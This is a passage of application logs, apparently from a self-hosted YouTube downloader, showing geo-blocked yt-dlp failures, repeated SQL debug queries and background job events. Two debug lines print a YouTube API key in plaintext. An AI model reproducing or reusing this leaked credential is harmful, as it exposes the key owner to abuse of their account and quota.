Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:37:43.293 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:37:43.293 [debug] QUERY OK source="settings" db=0.2ms idle=451.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.293 [debug] QUERY OK source="settings" db=0.0ms idle=451.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.293 [debug] Running yt-dlp command for action: get_media_attributes 17:37:43.295 [debug] QUERY OK source="settings" db=0.0ms idle=452.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.295 [debug] QUERY OK source="settings" db=0.0ms idle=452.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.295 [debug] QUERY OK source="settings" db=0.0ms idle=446.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.295 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/db/02/db020af798617df1fbdc9fa97c572663c29ddf860e0c2d43757fc8b6e266ecfe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:43.526 [info] {"args":{"id":9},"id":3800224,"meta":{},"system_time":1770766663526685743,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:43.527 [debug] QUERY OK source="sources" db=0.1ms idle=231.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:37:43.527 [debug] QUERY OK source="settings" db=0.0ms idle=231.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.527 [debug] QUERY OK source="media_profiles" db=0.1ms idle=231.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:43.527 [debug] QUERY OK source="settings" db=0.2ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.527 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:37:43.527 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.527 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:43.646 [debug] QUERY OK source="media_items" db=0.6ms idle=118.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 17:37:43.647 [debug] QUERY OK source="media_items" db=0.5ms idle=119.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:37:43.648 [debug] QUERY OK source="tasks" db=0.1ms idle=120.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800262, 9, ~U[2026-02-10 23:37:43Z], ~U[2026-02-10 23:37:43Z]] 17:37:43.648 [info] {"args":{"id":9},"id":3800224,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121419,"event":"job:stop","queue_time":466447,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:43.654 [info] {"args":{"id":8},"id":3800225,"meta":{},"system_time":1770766663654650377,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:43.654 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:37:43.655 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.655 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:43.655 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.655 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:37:43.655 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:43.655 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:43.734 [debug] QUERY OK source="media_items" db=0.7ms idle=79.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:37:43.735 [debug] QUERY OK source="media_items" db=0.4ms idle=80.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:37:43.736 [debug] QUERY OK source="tasks" db=0.1ms idle=80.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800263, 8, ~U[2026-02-10 23:37:43Z], ~U[2026-02-10 23:37:43Z]] 17:37:43.736 [info] {"args":{"id":8},"id":3800225,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82041,"event":"job:stop","queue_time":494607,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:44.741 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/db/02/db020af798617df1fbdc9fa97c572663c29ddf860e0c2d43757fc8b6e266ecfe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:37:44.741 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:37:44.742 [debug] QUERY OK source="settings" db=0.2ms idle=1005.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:44.742 [debug] QUERY OK source="settings" db=0.0ms idle=1005.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:44.742 [debug] Running yt-dlp command for action: get_media_attributes 17:37:44.743 [debug] QUERY OK source="settings" db=0.0ms idle=1006.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:44.743 [debug] QUERY OK source="settings" db=0.0ms idle=1000.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:44.743 [debug] QUERY OK source="settings" db=0.0ms idle=221.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:44.743 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week 